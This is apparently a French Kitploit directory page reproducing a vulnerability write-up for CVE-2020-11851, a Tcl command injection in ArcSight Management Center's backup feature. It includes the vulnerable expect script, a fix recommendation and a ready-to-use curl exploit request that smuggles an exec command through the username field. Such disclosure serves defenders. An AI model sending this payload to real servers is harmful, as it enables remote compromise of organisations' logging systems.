Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-11851 — Vulnérabilité d'exécution de code à distance sur ArcSight Logger | Kitploit
Outils/GitHubGitHub/ch1nghz/cve-2020-11851
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleOutil d'Accès à Distance
GitHubch1nghz/cve-2020-11851

CVE-2020-11851

Vulnérabilité d'exécution de code à distance sur ArcSight Logger

Voir le dépôt
2015il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-11851

Vulnérabilité d'exécution de code à distance sur ArcSight Logger (via ArcSight Management Center)

https://nvd.nist.gov/vuln/detail/CVE-2020-11851

Résumé exécutif

Contexte de la vulnérabilité

ArcSight Logger est une solution complète de gestion de journaux qui facilite la conformité et permet aux professionnels de la sécurité de mener des enquêtes médico-légales plus rapides, en centralisant et en stockant les journaux de données machine provenant de l'ensemble de leur organisation, et en facilitant la recherche rapide et le reporting sur ces données.

ArcSight Management Center (ArcMC) est un centre de gestion de sécurité centralisé qui gère les déploiements à grande échelle de solutions ArcSight telles que ArcSight Logger, ArcSight SmartConnectors (Connecteurs), ArcSight FlexConnectors et ArcSight Connector Appliance (ConApp) via une interface unique.

La vulnérabilité peut être exploitée via la fonctionnalité de sauvegarde d'ArcSight Management Center (version : 2.7.1.2065.0). Cette option de sauvegarde utilise des scripts « expect » d'ArcSight Logger qui emploient le langage Tool Command Language (Tcl). La vulnérabilité permet aux attaquants d'exécuter des commandes Tcl arbitraires. Cette vulnérabilité affecte le produit Micro Focus ArcSight Logger, dans toutes les versions antérieures à la 7.1.1.

Conclusion

Le serveur exécutant le logiciel vulnérable peut être compromis par des attaquants via la vulnérabilité RCE et devenir une tête de pont à partir de laquelle un adversaire pourrait lancer d'autres attaques contre les serveurs de l'organisation, aboutissant à une violation grave. Cette vulnérabilité peut entraîner une perte, une corruption ou une divulgation de données à des parties non autorisées, une perte d'imputabilité ou un refus d'accès.

Recommandations

Il est recommandé de vérifier les bonnes pratiques de sécurité Tcl pour les scripts « expect ». En gros, utiliser des accolades dans eval serait sûr, comme ci-dessous :

root@kitploit:~
eval puts $exploit   ;# vulnérable  

eval "puts $exploit" ;# vulnérable

eval {puts $exploit} ;# sûr

Plus d'informations peuvent être trouvées ici : https://wiki.tcl-lang.org/page/Injection+Attack

Contexte technique

Cette section détaille les vecteurs d'injection de commandes qui peuvent être utilisés pour détecter la vulnérabilité dans ArcSight Logger. Les titres ci-dessous peuvent être utilisés pour reproduire les étapes de l'attaque.

Exploration de l'option de sauvegarde vulnérable

Dans l'onglet administration, il existe une option de sauvegarde.

1

Comme on peut le voir, nous pouvons configurer un serveur de sauvegarde distant en utilisant le protocole SCP. Après avoir cliqué sur le bouton « Enregistrer », j'ai débogué les processus du serveur en utilisant l'outil « pspy » qui peut être téléchargé ici : https://github.com/DominicBreuker/pspy/releases

Débogage du serveur et analyse de la cause racine

Après avoir enregistré la configuration de sauvegarde, j'ai détecté que l'application utilise un script bash pour vérifier le serveur SSH comme ci-dessous (veuillez regarder le PID 95427) :

2

Voici la commande plus détaillée (PID 95427) pour explication :

sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory

Regardons le contenu de « runexpect.sh » et « scp.expect.dir.backup1 » (script expect) avant d'expliquer la logique de « runexpect.sh ».

Voici le contenu de « runexpect.sh » :

root@kitploit:~
#!/bin/sh  
	  
# Set LD_LIBRARY_PATH  
	  
export LD_LIBRARY_PATH=$1  
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH  
shift  
echo "Running command: $*"  
$*  
	  
exit $? 

Et voici le contenu du script expect appelé « scp.expect.dir.backup1 » :

root@kitploit:~
set password [lindex $argv 0]  
set host [lindex $argv 1]  
set port [lindex $argv 2]  
set dir [lindex $argv 3]  
eval spawn ssh -p $port $host test -d $dir && echo exists  //Vulnérabilité commence ici
expect "*(yes/no)?*$" { send "yes\n" }  
set timeout 600  
expect "*assword:*$" { send "$password\n" } \  
timeout { exit 1 }  
set timeout -1  
expect "\\$ $" 

Comme on peut le voir, « runexpect.sh » définit la variable d'environnement (LD_LIBRARY_PATH) puis exécute le binaire « expect » en utilisant le script expect appelé « scp.expect.dir.backup1 ». Ce script expect reçoit 4 arguments pour les utiliser dans la commande « ssh ».

La vulnérabilité réelle commence à la ligne 5 du script nommé « scp.expect.dir.backup1 ». Comme nous l'avons mentionné plus tôt, sans accolades, les entrées fournies par l'utilisateur peuvent être très dangereuses dans les scripts Tcl.

Obtenir l'exécution de code

Comme cette vulnérabilité d'exécution de code est complètement aveugle, j'ai utilisé le moyen le plus simple pour démontrer l'exécution. J'ai utilisé l'outil « pspy » pour déboguer les processus et illustrer l'exécution de code arbitraire en envoyant la requête HTTP malveillante.

Voici la logique que je voulais que le script expect exécute :

root@kitploit:~
eval spawn ssh –p [exec id]  test –d fakehostname && echo exists
[exec : ceci est argv1
id] : ceci est argv2
fakehostname : ceci est argv3
Le comportement attendu serait le suivant :
eval spawn ssh –p le_resultat_de_la_commande_id test –d fakehostname && echo exists
# Parce que, [ ] en Tcl, ressemble à `` en bash. Pour plus d'informations sur la syntaxe Tcl, veuillez visiter https://wiki.tcl-lang.org/welcome

Expliquons comment y parvenir. Si je mets un espace parmi les « chaînes » dans le paramètre « field-username » de la requête HTTP correspondante, cela serait analysé involontairement dans le script expect car il ne valide pas le nombre d'arguments, ce qui signifie que je pourrais injecter [exec comme numéro de port et id] comme nom d'utilisateur. Normalement, je ne pouvais pas injecter le paramètre de numéro de port de la requête HTTP correspondante en raison de la validation d'entrée (il ne doit contenir que des chiffres).

Après avoir envoyé la requête HTTP ci-dessous, j'ai exécuté avec succès la commande et imprimé sa sortie avec l'outil « pspy ».

3

4

Voici la requête CURL correspondante que j'ai utilisée pour exploiter la vulnérabilité (veuillez modifier les jetons liés à la session et la cible) :

root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    -b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    --data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
    $'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'
Télécharger l’outil